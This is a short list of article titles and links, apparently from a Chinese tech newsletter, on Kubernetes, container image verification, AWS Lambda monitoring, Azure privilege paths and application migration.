https://mp.weixin.qq.com/s/dfa2zS8WbD2Pa4IxSxV9CA
如何使用KMS、Cosign和Workload Identity来验证Kyverno的容器镜像
https://blog.sigstore.dev/how-to-verify-container-images-with-kyverno-using-kms-cosign-and-workload-identity-1e07d2b85061
如何扩展Kubernetes的API - Kubernetes vs Django
https://iximiuz.com/en/posts/kubernetes-api-how-to-extend/
如何监控AWS Lambda函数的短暂存储使用情况
https://www.datadoghq.com/blog/aws-lambda-functions-ephemeral-storage-monitoring/
Azure Dominance Paths
https://cloudbrothers.info/en/azure-dominance-paths/
如何将应用程序迁移到 Kubernetes?
https://www.padok.fr/en/blog/application-migration-kubernetes